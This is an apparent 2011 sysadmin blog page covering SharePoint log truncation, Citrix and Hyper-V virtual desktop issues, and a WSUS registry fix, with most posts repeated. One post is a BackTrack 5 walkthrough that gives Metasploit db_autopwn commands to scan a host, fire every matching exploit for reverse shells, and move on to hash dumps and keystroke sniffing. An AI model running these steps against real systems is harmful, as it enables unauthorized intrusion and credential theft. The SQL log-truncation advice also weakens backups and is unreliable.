Monday 30 May 2011
Sunday 29 May 2011
Sharepoint Config SQL logs growing out of control
Today I woke up, bags packed, ready to go to Taiwan for Computex, but I also found a notification from SCOM telling me the SQL box had nearly filled up its harddrive.
Upon investigating I found the Sharepoint Configuration Log has grown to over 6GB in only a few short months, HUH? Why was this happening? I only have a couple of Sharepoint sites and they arn't even heavily used and I do daily SQL backups via Microsoft DPM 2010, shouldn't the logs be truncated at this point?
Actually no, DPM 2010 won't truncated the logs because the Sharepoint databases are set to full recovery mode by default, which is critical for log shipping and mirroring funtionality that you may need with a large Sharepoint farm deployment. I only have a very small Sharepoint deployment but I still don't want to disable the full recovery functionality at this stage.
Instead I have scripted a weekly log truncation via the following SQL Query script.
SHAREPOINT CONFIGURATION LOG TRUNCATION
This took a LONG time for my 6GB log, but the result was beautiful, huge reduction on my logs and SCOM notification dismissing themselves. Of course you may want or be required to keep your logs in your organiziation. If you have this requirement you can simply export the log before you truncate it.
SHAREPOINT CONFIGURATION LOG BACKUP
BACKUP LOG [Sharepoint_Config] TO DISK=’D:configLogBackup.bak’
Hopefully one is all resolved now!
Upon investigating I found the Sharepoint Configuration Log has grown to over 6GB in only a few short months, HUH? Why was this happening? I only have a couple of Sharepoint sites and they arn't even heavily used and I do daily SQL backups via Microsoft DPM 2010, shouldn't the logs be truncated at this point?
Actually no, DPM 2010 won't truncated the logs because the Sharepoint databases are set to full recovery mode by default, which is critical for log shipping and mirroring funtionality that you may need with a large Sharepoint farm deployment. I only have a very small Sharepoint deployment but I still don't want to disable the full recovery functionality at this stage.
Instead I have scripted a weekly log truncation via the following SQL Query script.
SHAREPOINT CONFIGURATION LOG TRUNCATION
USE Sharepoint_Config
GO
DBCC SHRINKFILE(Sharepoint_Config_log, 1)
BACKUP LOG Sharepoint_Config WITH TRUNCATE_ONLY
DBCC SHRINKFILE(Sharepoint_Config_log, 1)
This took a LONG time for my 6GB log, but the result was beautiful, huge reduction on my logs and SCOM notification dismissing themselves. Of course you may want or be required to keep your logs in your organiziation. If you have this requirement you can simply export the log before you truncate it.
SHAREPOINT CONFIGURATION LOG BACKUP
BACKUP LOG [Sharepoint_Config] TO DISK=’D:configLogBackup.bak’
Hopefully one is all resolved now!
Saturday 28 May 2011
Cancelling Telstra voicemail
If you are anything like me you arn't a big fan of voicemail. People are always leaving me voicemail to a service that I don't use then say "but i left you a voicemail message" when I return their call. Further more voicemail diverts can cost you alot of money if you are using global roaming services overseas, something that can be easily avoided.
Thanks to the help of some friends we discovered an easy way to cancel the service that does the call diversions.
If you simply dial #61# send and then #62# send, this will cancel the diversion of both unanswered and unreachable calls. Further more you may wish you dial #67# send to cancel diversion if your phone is engaged when the caller attempts to contact you. To make it easier you can simply dial #002# to cancel ALL diverts, it is a good idea to investigate what diverts you might have on your mobile before doing this kind of operation though.
Thanks to the help of some friends we discovered an easy way to cancel the service that does the call diversions.
If you simply dial #61# send and then #62# send, this will cancel the diversion of both unanswered and unreachable calls. Further more you may wish you dial #67# send to cancel diversion if your phone is engaged when the caller attempts to contact you. To make it easier you can simply dial #002# to cancel ALL diverts, it is a good idea to investigate what diverts you might have on your mobile before doing this kind of operation though.
Thursday 26 May 2011
Virtual Desktop Write Cache - To SAN or not to SAN?
Education is currently buzzing with virtualization. Where can we use it? How much is it going to saves us? How do we implement it? One of the key issues that keeps coming up is where do we put our write cache? write cache on PVS HD (SAN) or write cache on devices HD, they are both possible options, I won't go into target devices RAM today as I don't think it as viable as the other options.
We are specifically dicussing a configuration of Citrix Xendesktop 5 in conjunction with Citrix PVS 5.6 fp1 as a delivery method for the image.
Slipping it into the SAN (write cache on PVS HD)
At a glance SAN write cache looks like a great option, why not move the write cache onto the PVS and consolidate the write cache in with the rest of our enterprise data? The is a definitate positive, but on the negative we can potentially kill the IOPS of our SAN, the same storage medium our business critical services are using.
Imagine this scenario, our servers are under heavy load, perhaps we have a very SQL transaction load and this is already straining your IOPS. Then you have a class of students log into their virtual desktops and use some write intensive application on the desktop. All of a sudden these students have the ability to negatively impact your server performance, or alternatively your server environment can negatively impact your end user experience.
Another negative on the SAN side is the potential price, if you dont already have a SAN, purchasing one specifically for VDI would be rediculous cost, making your VDI ROI way out of proportion with a standard desktop.
You don't HAVE to run your write cache on a SAN storage if you use the write cache PVS HD option, but this is where things get messy. If you have 100 clients accessing an image from the same PVS then you will need adequate IOPS on your PVS local HDD for 100 clients. This is roughly estimated at 15 IOPS per virtual desktop instance, but I like to go over the top and estimate based on 20 IOPS.
IOPS arn't your only problem with this method, not only do you need to supply enough disk speed, you need to remember that all that traffic will be loading your network. You can potentially have 100 IOPS per user, but that won't mater if you have a saturated network, your virtual desktop experience will be awful.
Directing the writes to the device
This option naming is slightly misleading, the write cache is not sitting on the thin client itself, but sitting on the device providing the virtual desktop, your Xenserver, Hyper-V or alternate hypervisor that is hosting your VDI.
The immediate benefit that you realize with this option is that you are seperating your write cache from your servers, so you don't negatively impact your server environment. Not only that, because the write cache is staying on the same physical system as your virtual desktop host, none of that write traffic is ever hitting the network.
Another not so obvious benefit is that if you are providing 100 virtual desktops over 2 physical servers, you can split the IOPS across the two servers, this could provide a better experience for the end user, but it also could cost you more money. Two servers, more disks required, potentially more maintenance.
There is no reason you wouldn't put the PVS image itself on the SAN, but the write cache on the device HD. This way you can consolidate all your images and the PVS itself onto your SAN for redundancy, but avoid all those nasty write IOPS by redirecting them to the virtual desktop host write cache array.
What is the best option for me?
That is an answer that only you can decide, there are definate negatives and positives of both options. For our organization we decided to put the write cache on the device hd and host the PVS vdisk and the PVS itself on the SAN, this cost us less money and gave us piece of mind that our server loads would never be negatively impacted by normal usage or an unlikely denial of service attack.
There are so many other considerations that are outside the scope of this article. Does your thin client provide some write cache capability? Will that save you money? Will it positively or negatively impact your end user experience?
The best advice is explore every option, and don't take anyones word for it, test out the possible options yourself and design a solution that meets your business requirements.
We are specifically dicussing a configuration of Citrix Xendesktop 5 in conjunction with Citrix PVS 5.6 fp1 as a delivery method for the image.
Slipping it into the SAN (write cache on PVS HD)
At a glance SAN write cache looks like a great option, why not move the write cache onto the PVS and consolidate the write cache in with the rest of our enterprise data? The is a definitate positive, but on the negative we can potentially kill the IOPS of our SAN, the same storage medium our business critical services are using.
Imagine this scenario, our servers are under heavy load, perhaps we have a very SQL transaction load and this is already straining your IOPS. Then you have a class of students log into their virtual desktops and use some write intensive application on the desktop. All of a sudden these students have the ability to negatively impact your server performance, or alternatively your server environment can negatively impact your end user experience.
Another negative on the SAN side is the potential price, if you dont already have a SAN, purchasing one specifically for VDI would be rediculous cost, making your VDI ROI way out of proportion with a standard desktop.
You don't HAVE to run your write cache on a SAN storage if you use the write cache PVS HD option, but this is where things get messy. If you have 100 clients accessing an image from the same PVS then you will need adequate IOPS on your PVS local HDD for 100 clients. This is roughly estimated at 15 IOPS per virtual desktop instance, but I like to go over the top and estimate based on 20 IOPS.
IOPS arn't your only problem with this method, not only do you need to supply enough disk speed, you need to remember that all that traffic will be loading your network. You can potentially have 100 IOPS per user, but that won't mater if you have a saturated network, your virtual desktop experience will be awful.
Directing the writes to the device
This option naming is slightly misleading, the write cache is not sitting on the thin client itself, but sitting on the device providing the virtual desktop, your Xenserver, Hyper-V or alternate hypervisor that is hosting your VDI.
The immediate benefit that you realize with this option is that you are seperating your write cache from your servers, so you don't negatively impact your server environment. Not only that, because the write cache is staying on the same physical system as your virtual desktop host, none of that write traffic is ever hitting the network.
Another not so obvious benefit is that if you are providing 100 virtual desktops over 2 physical servers, you can split the IOPS across the two servers, this could provide a better experience for the end user, but it also could cost you more money. Two servers, more disks required, potentially more maintenance.
There is no reason you wouldn't put the PVS image itself on the SAN, but the write cache on the device HD. This way you can consolidate all your images and the PVS itself onto your SAN for redundancy, but avoid all those nasty write IOPS by redirecting them to the virtual desktop host write cache array.
What is the best option for me?
That is an answer that only you can decide, there are definate negatives and positives of both options. For our organization we decided to put the write cache on the device hd and host the PVS vdisk and the PVS itself on the SAN, this cost us less money and gave us piece of mind that our server loads would never be negatively impacted by normal usage or an unlikely denial of service attack.
There are so many other considerations that are outside the scope of this article. Does your thin client provide some write cache capability? Will that save you money? Will it positively or negatively impact your end user experience?
The best advice is explore every option, and don't take anyones word for it, test out the possible options yourself and design a solution that meets your business requirements.
Tuesday 24 May 2011
Citrix Xendesktop 5 HDX policy not granular enough? Try targeting thin clients by IP using Set-BrokerAccessPolicyRule
Running anything in an Educational organization can be a challenge, so when we implemented a mid-sized Citrix Xendesktop 5 deployment we knew we would have some mountains to climb.
In 99.9% of enterprises a single user will use a single computer to do their work, so targeting a Virtual Desktop at a specific user is an acceptable solution, in conjunction with XenApp to target those dynamic or expensive applications you might not want as part of your "Finance" or "HR" virtual images. This rule doesn't apply to Education, with different images requires for computing labs, science classes, junior school. We initially thought we could have multiple assignment groups and dynamically enable/disable them on a time schedule, but soon realized this would be a nightmare. The ideal situation would be to VLAN off a /25 and then target this VLAN this HDX policy, but this functionality is not available. Trying to archive tasks like this via HDX Policy makes its functionality look very thin, never fear, PowerShell is here.
Hidden away from the friendly GUI's is a number of great powershell scripts that can help you achieve this goal. One such script is the Set-BrokerAccessPolicyRule script, which is a script capable of modifying existing rules in a sites access policies.
Using the Set-BrokerAccessPolicyRule PowerShell script to target clients by IP address
1. VLAN off your target thin clients into a /25 of a suitable VLAN range.
2. Launch a PowerShell console from Citrix Desktop Studio
3. For a full list of funtionality type
Set-BrokerAccessPolicyRule help
There are a HUGE list of functionality, what we want to look at today is the -IncludedClientIPFilterEnabled funtionality.
PS C:\Program Files\Citrix\Desktop Studio> help set-brokeraccesspolicyrule
NAME
Set-BrokerAccessPolicyRule
SYNOPSIS
Modifies an existing rule in the site's access policy.
SYNTAX
Set-BrokerAccessPolicyRule [-InputObject] <AccessPolicyRule[]> [-PassThru]
...truncated..
To see the examples, type: "get-help Set-BrokerAccessPolicyRule -examples".
For more information, type: "get-help Set-BrokerAccessPolicyRule -detailed"
.
For technical information, type: "get-help Set-BrokerAccessPolicyRule -full
".
4. Grab the name of your Assignment group and assign them to a specific IP range as follows.
Set-BrokerAccessPolicyRule TargetGroupName -IncludedClientIPFilterEnabled $true -IncludedClientIPs 10.1.1.0/25
You could then repeat this process for multiple Assignment groups if required. Remember if you want to target a specific room with a image for all users, to add your domain users or generic users group to the Assignment group, essentially allowing all users to logon to that assignment group but using the IncludedClientIPFilterEnabled functionality to take care of your filtering.
In 99.9% of enterprises a single user will use a single computer to do their work, so targeting a Virtual Desktop at a specific user is an acceptable solution, in conjunction with XenApp to target those dynamic or expensive applications you might not want as part of your "Finance" or "HR" virtual images. This rule doesn't apply to Education, with different images requires for computing labs, science classes, junior school. We initially thought we could have multiple assignment groups and dynamically enable/disable them on a time schedule, but soon realized this would be a nightmare. The ideal situation would be to VLAN off a /25 and then target this VLAN this HDX policy, but this functionality is not available. Trying to archive tasks like this via HDX Policy makes its functionality look very thin, never fear, PowerShell is here.
Hidden away from the friendly GUI's is a number of great powershell scripts that can help you achieve this goal. One such script is the Set-BrokerAccessPolicyRule script, which is a script capable of modifying existing rules in a sites access policies.
Using the Set-BrokerAccessPolicyRule PowerShell script to target clients by IP address
1. VLAN off your target thin clients into a /25 of a suitable VLAN range.
2. Launch a PowerShell console from Citrix Desktop Studio
3. For a full list of funtionality type
Set-BrokerAccessPolicyRule help
There are a HUGE list of functionality, what we want to look at today is the -IncludedClientIPFilterEnabled funtionality.
PS C:\Program Files\Citrix\Desktop Studio> help set-brokeraccesspolicyrule
NAME
Set-BrokerAccessPolicyRule
SYNOPSIS
Modifies an existing rule in the site's access policy.
SYNTAX
Set-BrokerAccessPolicyRule [-InputObject] <AccessPolicyRule[]> [-PassThru]
...truncated..
To see the examples, type: "get-help Set-BrokerAccessPolicyRule -examples".
For more information, type: "get-help Set-BrokerAccessPolicyRule -detailed"
.
For technical information, type: "get-help Set-BrokerAccessPolicyRule -full
".
4. Grab the name of your Assignment group and assign them to a specific IP range as follows.
Set-BrokerAccessPolicyRule TargetGroupName -IncludedClientIPFilterEnabled $true -IncludedClientIPs 10.1.1.0/25
You could then repeat this process for multiple Assignment groups if required. Remember if you want to target a specific room with a image for all users, to add your domain users or generic users group to the Assignment group, essentially allowing all users to logon to that assignment group but using the IncludedClientIPFilterEnabled functionality to take care of your filtering.
Monday 23 May 2011
WSUS 3.0 SP2 and Windows 7 issues - "not yet reported"
I was pulling my hair out trying to get WSUS 3.0 up in a new environment I started working with.
My clients were a simple Windows 7 32bit enterprise and all my servers are running Server 2008 R2 2008.
Logs were reading as follows
-----------------
2010-07-07 10:05:37:646 900 d94 Setup FATAL: Applicability evaluation for setup package "WUClient-SelfUpdate-ActiveX~31bf3856ad364e35~x86~~7.4.7600.226" failed, error = 0x80080005
2010-07-07 10:05:37:646 900 d94 Setup FATAL: SelfUpdate check failed, err = 0x80080005
2010-07-07 10:05:37:647 900 d94 Agent * WARNING: Skipping scan, self-update check returned 0x80080005
2010-07-07 10:05:37:647 900 d94 Agent * WARNING: Exit code = 0x80080005
2010-07-07 10:05:37:647 900 d94 Agent *********
2010-07-07 10:05:37:647 900 d94 Agent ** END ** Agent: Finding updates [CallerId = AutomaticUpdates]
2010-07-07 10:05:37:647 900 d94 Agent *************
2010-07-07 10:05:37:647 900 d94 Agent WARNING: WU client failed Searching for update with error 0x80080005
2010-07-07 10:05:37:647 900 d98 AU >>## RESUMED ## AU: Search for updates [CallId = {0A71D3FE-B9BC-4B73-B7A2-AC3787D8D9E4}]
2010-07-07 10:05:37:647 900 d94 Report REPORT EVENT: {1E3A0E26-9FB7-42F0-8DA5-99C3D5CCC453} 2010-07-07 10:05:04:742+0930 1 202 102 {00000000-0000-0000-0000-000000000000} 0 0 AutomaticUpdates Success Content Install Reboot completed.
2010-07-07 10:05:37:647 900 d98 AU # WARNING: Search callback failed, result = 0x80080005
2010-07-07 10:05:37:647 900 d98 AU # WARNING: Failed to find updates with error code 80080005
2010-07-07 10:05:37:647 900 d98 AU #########
2010-07-07 10:05:37:647 900 d98 AU ## END ## AU: Search for updates [CallId = {0A71D3FE-B9BC-4B73-B7A2-AC3787D8D9E4}]
2010-07-07 10:05:37:647 900 d98 AU #############
2010-07-07 10:05:37:647 900 d98 AU Successfully wrote event for AU health state:0
2010-07-07 10:05:37:647 900 d98 AU AU setting next detection timeout to 2010-07-07 05:35:37
2010-07-07 10:05:37:647 900 d98 AU Setting AU scheduled install time to 2010-07-07 07:30:00
2010-07-07 10:05:37:648 900 d98 AU Successfully wrote event for AU health state:0
2010-07-07 10:05:37:648 900 d98 AU Successfully wrote event for AU health state:0
2010-07-07 10:05:37:670 900 d94 Report CWERReporter finishing event handling. (00000000)
2010-07-07 10:05:42:629 900 d94 Report REPORT EVENT: {A4993B4F-7329-405D-8435-093B74B867B1} 2010-07-07 10:05:37:646+0930 1 148 101 {61CA813A-7585-442E-A66B-B0D15CE6BDC0} 1 80080005 SelfUpdate Failure Software Synchronization Windows Update Client failed to detect with error 0x80080005.
2010-07-07 10:05:42:672 900 d94 Report CWERReporter::HandleEvents - WER report upload completed with status 0x8
2010-07-07 10:05:42:672 900 d94 Report WER Report sent: 7.3.7600.16385 0x80080005 61CA813A-7585-442E-A66B-B0D15CE6BDC0 Scan 101 Managed
2010-07-07 10:05:42:672 900 d94 Report CWERReporter finishing event handling. (00000000)
-----------
ROOT CAUSE
It turns out it was a problem with the "registrysizelimit" registry setting.
HKLM\SYSTEM\CurrentControlSet\Control\RegistrySizeLimit (reg_dword)
Some other problem that was part of the SOE was changing this registry value and it was WSUS from installing key updates required to function..
You may also see this problem manifest as Microsoft C++ redistributable being unable to install, changing this registry key also fixed this issue.
RESOLUTION
To resolve this issue I have change the RegistrySizeLimit to,
HKLM\SYSTEM\CurrentControlSet\Control
Key = RegistrySizeLimit
Type = DWORD
Value = 4294967295
or alternatively you can use something such as a kixtart script to deliver the settings..
IF EXIST ("$tchpath\reglimit.tch")=0
if InStr(@PRODUCTTYPE, "Windows 7") OR InStr(@PRODUCTTYPE, "Windows Vista")
SHELL '%comspec% /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" /v "RegistrySizeLimit" /t REG_DWORD /d "4294967295" /f > NUL'
endif
Copy ("$launchpath\generic.tch") ("$tchpath\reglimit.tch") /H
endif
ADDITIONAL INFORMATION
I was initially worried about changing this key, but some 6 months down the track all is working perfectly in my environment and WSUS is still going strong.
Below is a link to the original TechNet discussion and the following updates.
http://social.technet.microsoft.com/Forums/en-US/winserverwsus/thread/c2d8503c-3b53-4a71-84f5-4b2ab0c6c536
My clients were a simple Windows 7 32bit enterprise and all my servers are running Server 2008 R2 2008.
Logs were reading as follows
-----------------
2010-07-07 10:05:37:646 900 d94 Setup FATAL: Applicability evaluation for setup package "WUClient-SelfUpdate-ActiveX~31bf3856ad364e35~x86~~7.4.7600.226" failed, error = 0x80080005
2010-07-07 10:05:37:646 900 d94 Setup FATAL: SelfUpdate check failed, err = 0x80080005
2010-07-07 10:05:37:647 900 d94 Agent * WARNING: Skipping scan, self-update check returned 0x80080005
2010-07-07 10:05:37:647 900 d94 Agent * WARNING: Exit code = 0x80080005
2010-07-07 10:05:37:647 900 d94 Agent *********
2010-07-07 10:05:37:647 900 d94 Agent ** END ** Agent: Finding updates [CallerId = AutomaticUpdates]
2010-07-07 10:05:37:647 900 d94 Agent *************
2010-07-07 10:05:37:647 900 d94 Agent WARNING: WU client failed Searching for update with error 0x80080005
2010-07-07 10:05:37:647 900 d98 AU >>## RESUMED ## AU: Search for updates [CallId = {0A71D3FE-B9BC-4B73-B7A2-AC3787D8D9E4}]
2010-07-07 10:05:37:647 900 d94 Report REPORT EVENT: {1E3A0E26-9FB7-42F0-8DA5-99C3D5CCC453} 2010-07-07 10:05:04:742+0930 1 202 102 {00000000-0000-0000-0000-000000000000} 0 0 AutomaticUpdates Success Content Install Reboot completed.
2010-07-07 10:05:37:647 900 d98 AU # WARNING: Search callback failed, result = 0x80080005
2010-07-07 10:05:37:647 900 d98 AU # WARNING: Failed to find updates with error code 80080005
2010-07-07 10:05:37:647 900 d98 AU #########
2010-07-07 10:05:37:647 900 d98 AU ## END ## AU: Search for updates [CallId = {0A71D3FE-B9BC-4B73-B7A2-AC3787D8D9E4}]
2010-07-07 10:05:37:647 900 d98 AU #############
2010-07-07 10:05:37:647 900 d98 AU Successfully wrote event for AU health state:0
2010-07-07 10:05:37:647 900 d98 AU AU setting next detection timeout to 2010-07-07 05:35:37
2010-07-07 10:05:37:647 900 d98 AU Setting AU scheduled install time to 2010-07-07 07:30:00
2010-07-07 10:05:37:648 900 d98 AU Successfully wrote event for AU health state:0
2010-07-07 10:05:37:648 900 d98 AU Successfully wrote event for AU health state:0
2010-07-07 10:05:37:670 900 d94 Report CWERReporter finishing event handling. (00000000)
2010-07-07 10:05:42:629 900 d94 Report REPORT EVENT: {A4993B4F-7329-405D-8435-093B74B867B1} 2010-07-07 10:05:37:646+0930 1 148 101 {61CA813A-7585-442E-A66B-B0D15CE6BDC0} 1 80080005 SelfUpdate Failure Software Synchronization Windows Update Client failed to detect with error 0x80080005.
2010-07-07 10:05:42:672 900 d94 Report CWERReporter::HandleEvents - WER report upload completed with status 0x8
2010-07-07 10:05:42:672 900 d94 Report WER Report sent: 7.3.7600.16385 0x80080005 61CA813A-7585-442E-A66B-B0D15CE6BDC0 Scan 101 Managed
2010-07-07 10:05:42:672 900 d94 Report CWERReporter finishing event handling. (00000000)
-----------
ROOT CAUSE
It turns out it was a problem with the "registrysizelimit" registry setting.
HKLM\SYSTEM\CurrentControlSet\Control\RegistrySizeLimit (reg_dword)
Some other problem that was part of the SOE was changing this registry value and it was WSUS from installing key updates required to function..
You may also see this problem manifest as Microsoft C++ redistributable being unable to install, changing this registry key also fixed this issue.
RESOLUTION
To resolve this issue I have change the RegistrySizeLimit to,
HKLM\SYSTEM\CurrentControlSet\Control
Key = RegistrySizeLimit
Type = DWORD
Value = 4294967295
or alternatively you can use something such as a kixtart script to deliver the settings..
IF EXIST ("$tchpath\reglimit.tch")=0
if InStr(@PRODUCTTYPE, "Windows 7") OR InStr(@PRODUCTTYPE, "Windows Vista")
SHELL '%comspec% /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" /v "RegistrySizeLimit" /t REG_DWORD /d "4294967295" /f > NUL'
endif
Copy ("$launchpath\generic.tch") ("$tchpath\reglimit.tch") /H
endif
ADDITIONAL INFORMATION
I was initially worried about changing this key, but some 6 months down the track all is working perfectly in my environment and WSUS is still going strong.
Below is a link to the original TechNet discussion and the following updates.
http://social.technet.microsoft.com/Forums/en-US/winserverwsus/thread/c2d8503c-3b53-4a71-84f5-4b2ab0c6c536
Backtrack 5 vs Backtrack 4
Everyones favourite security distribution has just been updated, with Backtrack 5 (codename Revolution) being released in the last few weeks.
As per usual backtrack is offered as an ISO and a VM, which is extremely handy for getting straight into play around with the new features without any setup requirements.
Backtrack 5 is based on Ubuntu 10.04 LTS and the Linux kernel 2.6.38, and metasploiters will be excited to know that metasploit 3.7.0 is packaged as part of the BT5.
db_Autopwn - if noise doesnt concern you...
What is very impressive is how easy it is to use db_autopwn to scan the network, automatically create a mysql database to export the scans results to, and then run possible exploits against hosts that are found. Remember of course db_autopwn is VERY loud, so you wouldn't want to use this sort of technique if you know your targets potentially have any IDS/IPS or network monitoring in place such as SNMP trapping.
For those interested it is as simple as a couple easy steps.
1. I like to work via the GNOME interface, so navigate to Metasploit Framework and open the msfconsole.
2. Type: db_driver mysql
This will set the nmap scan to log to MySQL
3. Type: nmap -v -O 10.101.224.185
This will scan the host and log the results to MySQL
4. Type: db_autopwn -p -e -b
This will analyze the host and automatically launch all possible exploits found against the host. If any of the exploits work you will gain a reverse_tcp shell bound to a random port. If you want to add -t to your arguements list you will get a long list of all the exploits available against the platform, in my case 8113.
5. Type: sessions -l
To find out if you have any available sessions to use or upgrade to the more advanced meterpreter shell.
6. Type: sessions -i <session id> (without the brackets)
This will bind to any active shells listed above.
You can also sessions -u <session id> to upgrade your shell to a meterpreter shell. Then the fun of hash dumps and sniffing the clients keystrokes can begins, but that's a blog for another day!
I love BT5 and hope to have more chances to use it in production in the future!
Hyper-V 2008 R2 SP1 and Clickview incompatibility
With the introduction of the dynamic memory management features in the new SP1 release for Server 2008 R2 it is an exciting platform for desktop virtualization. I have been waiting for its release to deploy my virtual desktops in our organization, another key reason for my Hyper-V choice is the amazing pricing that Microsoft offers to education facitilies.
With this is mind I built up my IBM x3650 servers, 110GB of ram each, Xendesktop 5 setup in conjunction with PVS 5.6 FP1 and set to deliver my desktops on Hyper-V.
At the time there was no citrix tools available for building multiple desktops on Hyper-V so I wrote a small powershell script to facilitate this.
I provisioned my two servers, setup 30 test virtual desktops and begun my testing. As per best pratice I used an emulated network adapter to PXE boot my PVS image, then a synthetic network adapter for high network performance once in windows (yes the synthetic network adapter automatically takes preference over the emulated adapter in Windows 7).
My testing was going brilliant and users were saying their desktop experience was faster on this VDI than even the fastest machines in our environment. That makes sense as every modern systems bottleneck is the disk speed and I was using 10 disk RAID-10 arrays on my virtual hosts to provide disk cache for the VDI, not to mention considerable caching on the raid controllers of my SAN that hosts the PVS image.
Things went pair shape when users started using Clickview to view videos, the video was slightly choppy at full screen, but fine in a window. This was only a side issue, as users started getting disconnected from their VDI sessions, users described this as the system freezing. Upon investigating I found that clickview was causing the systems to BSOD, thats strange, why is that occuring? The BSOD messaged were relating to the synthetic Hyper-V NIC driver.
I went back to the drawing board and test the emulated network driver and after a few days testing never had any BSOD, but the performance was horrible. Video was very choppy and even in a small window it the framerate was extremely slow and unacceptable.
I tried a number of different Hyper-V drivers, the most recent, some older versions, I tried without 2008 R2 SP1, no luck. Getting desperate, I reprovisioned one of my servers as Citrix Xenserver 5.6, and retested. Not only did the BSOD go away, but I could now view video at full screen with perfect FPS, no choppy video or audio, no desyncronization, perfect.
For now, it looks like if you want to deliver Clickview on your environment, Hyper-V SP1 is not an option for you...
With this is mind I built up my IBM x3650 servers, 110GB of ram each, Xendesktop 5 setup in conjunction with PVS 5.6 FP1 and set to deliver my desktops on Hyper-V.
At the time there was no citrix tools available for building multiple desktops on Hyper-V so I wrote a small powershell script to facilitate this.
I provisioned my two servers, setup 30 test virtual desktops and begun my testing. As per best pratice I used an emulated network adapter to PXE boot my PVS image, then a synthetic network adapter for high network performance once in windows (yes the synthetic network adapter automatically takes preference over the emulated adapter in Windows 7).
My testing was going brilliant and users were saying their desktop experience was faster on this VDI than even the fastest machines in our environment. That makes sense as every modern systems bottleneck is the disk speed and I was using 10 disk RAID-10 arrays on my virtual hosts to provide disk cache for the VDI, not to mention considerable caching on the raid controllers of my SAN that hosts the PVS image.
Things went pair shape when users started using Clickview to view videos, the video was slightly choppy at full screen, but fine in a window. This was only a side issue, as users started getting disconnected from their VDI sessions, users described this as the system freezing. Upon investigating I found that clickview was causing the systems to BSOD, thats strange, why is that occuring? The BSOD messaged were relating to the synthetic Hyper-V NIC driver.
I went back to the drawing board and test the emulated network driver and after a few days testing never had any BSOD, but the performance was horrible. Video was very choppy and even in a small window it the framerate was extremely slow and unacceptable.
I tried a number of different Hyper-V drivers, the most recent, some older versions, I tried without 2008 R2 SP1, no luck. Getting desperate, I reprovisioned one of my servers as Citrix Xenserver 5.6, and retested. Not only did the BSOD go away, but I could now view video at full screen with perfect FPS, no choppy video or audio, no desyncronization, perfect.
For now, it looks like if you want to deliver Clickview on your environment, Hyper-V SP1 is not an option for you...
http://metasplo.it online
On 23/05/2011 I finally decided to do something, instead of continually talking about it and never doing anything.
As a systems administrator, security enthusiasts, extreme overclocker and IT manager I have unique experienced with technology every day. http://metasplo.it/ is a way for me to pass on these experiences to others. There are so many times I spend days looking for an answer that could save others these problems in the future and many other times where other bloggers have posted their fixes and saved me hours of wasted troubleshooting.
Let the problems begin!
As a systems administrator, security enthusiasts, extreme overclocker and IT manager I have unique experienced with technology every day. http://metasplo.it/ is a way for me to pass on these experiences to others. There are so many times I spend days looking for an answer that could save others these problems in the future and many other times where other bloggers have posted their fixes and saved me hours of wasted troubleshooting.
Let the problems begin!
Subscribe to:
Posts (Atom)